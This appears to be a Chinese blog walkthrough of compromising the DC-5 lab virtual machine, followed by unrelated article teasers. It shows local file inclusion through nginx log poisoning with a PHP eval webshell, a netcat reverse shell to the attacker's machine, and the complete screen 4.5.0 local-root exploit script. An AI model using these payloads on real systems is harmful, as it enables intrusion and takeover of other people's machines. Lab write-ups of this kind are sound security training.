067 渗透测试实战,靶机 DC-5

2023-10-14 01:20
文章标签 实战 测试 渗透 dc 靶机 067

本文主要是介绍067 渗透测试实战,靶机 DC-5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一:环境准备
  • 二:nmap扫描
  • 三:御剑扫描网站
  • 四:文件包含说明
    • 4.1:静态包含
    • 4.2:动态包含
  • 五:BurpSuite爆破
  • 六:植入木马
  • 七:蚁剑连接
  • 八:反弹shell
  • 九:提权

一:环境准备

下载:点我

下载之后完成安装,过程详情请参考,063 渗透测试实战,靶机 DC-1

需要抓包软件bp,文件的下载安装可以参考我的 前面的内容 :047 Burp Suite的详细安装与使用

打开DC-5,建议把虚拟机升级到15.5.7,我之前的虚拟机做这个dc靶机实验的时候经常电脑蓝屏。

在这里插入图片描述
在这里插入图片描述

 

二:nmap扫描

扫描局域网主机号
nmap -sP 192.168.100.0/24 -oN nmap.sP
在这里插入图片描述
扫描端口号
nmap -A 192.168.100.4 -p- -oN nmap.A

-p- :1-65535 端口号
在这里插入图片描述
浏览器访问
在这里插入图片描述
点击导航栏的home,solutions,about us的等,发现都是在IP地址的后边变换.php名字。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击contac进去,发现可以填写一些信息,随便填写一些,submit提交,会有如下图的页面跳转。
在这里插入图片描述

 

三:御剑扫描网站

由上面得知,文件夹的变更均在根目录(IP地址后面)。所以可以用御剑扫描网站后台。
在这里插入图片描述
分别打开上述网站,发现特殊的,刷新页面,年份值会变化。
在这里插入图片描述
在这里插入图片描述
由上图得知,thankyou.php包含footer.php。

 
 

四:文件包含说明

由上一节内容:thankyou.php包含footer.php
先做一个知识点的补充:

4.1:静态包含

首先开启Apache服务
在这里插入图片描述
然后进入/var/www/html目录下,创建两个文件。
在这里插入图片描述

footer.php

<?php
echo "this is footer.php";
?>

thankyou.php

<?php
echo "this is thankyou.php";
include "./footer.php";
?>

然后在另一台虚拟机上访问,看看效果
在这里插入图片描述

4.2:动态包含

thankyou.php修改为:

<?php
echo "this is thankyou.php";
include $_REQUEST['path'];
?>

浏览器访问:
在这里插入图片描述
那我们把path的修改成/etc/passwd呢?
在这里插入图片描述

好,现在回到这个靶机的问题上来,我们假设在这个靶机中,thankyou.php动态包含了footer.php。所以我们先假设一个参数xxx,如下图:
在这里插入图片描述

五:BurpSuite爆破

http://192.168.100.4/thankyou.php?xxx=footer.php修改为http://192.168.100.4/thankyou.php?xxx=/etc/passwd
因为若是猜中了?后面的值是xxx,则页面会发生变化,而footer.php无论是否猜中都不会变化。

然后开启BP抓包,设置变量。
在这里插入图片描述
利用字典进行爆破,得到变量为file
在这里插入图片描述
在这里插入图片描述
由此可知,靶机中的thankyou.php包含footer.php属于动态包含。

那么这个包含是本地文件包含还是远程文件包含?
试一下就知道了,远程文件是在Kali上的(已开启apache服务)

http://192.168.100.4/thankyou.php?file=http://192.168.100.7/footer.php

在这里插入图片描述
发现并不能远程包含文件,所以只支持本地包含文件。
那么要怎么才能把一句话木马写入到本地文件中去呢?

 

六:植入木马

日志文件

把一句话木马写入到系统的日志文件中。然后通过文件包含执行执行文件,继而会自动执行日志文件中的一句话木马代码。

找到日志文件路径:

/var/log/nginx/access.log

讲一句话木马写入到日志文件中:
进行BP抓包

http://192.168.100.4/thankyou.php?file=/var/log/nginx/access.log

在这里插入图片描述

 

在这里插入图片描述

需要点击一次放包才会进入如下画面:
在这里插入图片描述

替换:xxxxxxxx<?php @eval($_REQUEST[777]);?>
在这里插入图片描述

返回浏览器查看
在这里插入图片描述
发现日志写入成功

 
 

七:蚁剑连接

在这里插入图片描述
连接成功
在这里插入图片描述
因为日志文件总是在不断的增加,体积会越来越大,会影响连接,所以在tmp目录下创建文件,并写入一句话木马。
让蚁剑连接这个,增加稳定性。
在这里插入图片描述
打开蚁剑终端,尝试进入root失败
在这里插入图片描述
 
 

八:反弹shell

Kali本地监听:

nc -lvvp 2333 

在这里插入图片描述

蚁剑终端:
nc -e /bin/bash 192.168.100.7 2333

连接成功,进入交互模式
Kali:

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

 
 

九:提权

考虑提权,首先查看下sudo -l
然后就考虑是否具有suid权限的相关命令find / -perm -4000 2>/dev/null

在这里插入图片描述
发现/bin/screen-4.5.0,本地提权漏洞

Kali新建命令窗口搜索下,

searchsploit screen 4.5.0

在这里插入图片描述

cd /tmp/DC-5
mkdir screen450
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

在这里插入图片描述
进入蚁剑,把这个文件拷贝下来
首先进入kali,关闭apache服务,开启web服务

service apache2 stop
python -m SimpleHTTPServer 80

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在kali的交互式窗口进入/tmp目录,
赋予执行权限chmod 777 41154.sh
运行41154.sh,会出现如下报错。
在这里插入图片描述
其实这种报错的原因是因为格式的问题。下面有两种方法,方法一不适用于此处,因为交互界面不能使用vi或者vim指令,或者是使用之后有些功能用不了。

方法一:
首先在Terminal中输入“vim 脚本”命令。

这时会看到文件最下方显示的是“[dos]”,这就表示这个脚本是dos格式的啦。如果没有看到,可以输入“:set ff”,按下Enter键,查看脚本格式。

输入“:set ff=unix”后按Enter,将格式更改为unix格式。

然后再输入“:set ff”,按下Enter键,这时如果看到“fileformat=unix”,这表明格式修改正确啦。

输入“:wq”,保存并退出脚本,再重新运行

方法二:
把整个41154.sh文件分成三个文件
如下:

41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell    

第一个文件:
libhax.c

#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");}

编译,生成libhax.so 文件
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二个文件:
rootshell.c

#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}

编译,生成rootshell 文件

gcc -o /tmp/rootshell /tmp/rootshell.c

第三个文件
getshell.sh:

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell      

在这里插入图片描述

在这里插入图片描述
把三个文件,全部用菜刀下载
然后运行getshell.sh文件
提权成功。。。。。
在这里插入图片描述

这篇关于067 渗透测试实战,靶机 DC-5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/207157

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

C#实战|大乐透选号器[6]:实现实时显示已选择的红蓝球数量

哈喽,你好啊,我是雷工。 关于大乐透选号器在前面已经记录了5篇笔记,这是第6篇; 接下来实现实时显示当前选中红球数量,蓝球数量; 以下为练习笔记。 01 效果演示 当选择和取消选择红球或蓝球时,在对应的位置显示实时已选择的红球、蓝球的数量; 02 标签名称 分别设置Label标签名称为:lblRedCount、lblBlueCount

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

滚雪球学Java(87):Java事务处理:JDBC的ACID属性与实战技巧!真有两下子!

咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE啦,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~ 🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!! 环境说明:Windows 10

springboot实战学习(1)(开发模式与环境)

目录 一、实战学习的引言 (1)前后端的大致学习模块 (2)后端 (3)前端 二、开发模式 一、实战学习的引言 (1)前后端的大致学习模块 (2)后端 Validation:做参数校验Mybatis:做数据库的操作Redis:做缓存Junit:单元测试项目部署:springboot项目部署相关的知识 (3)前端 Vite:Vue项目的脚手架Router:路由Pina:状态管理Eleme

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采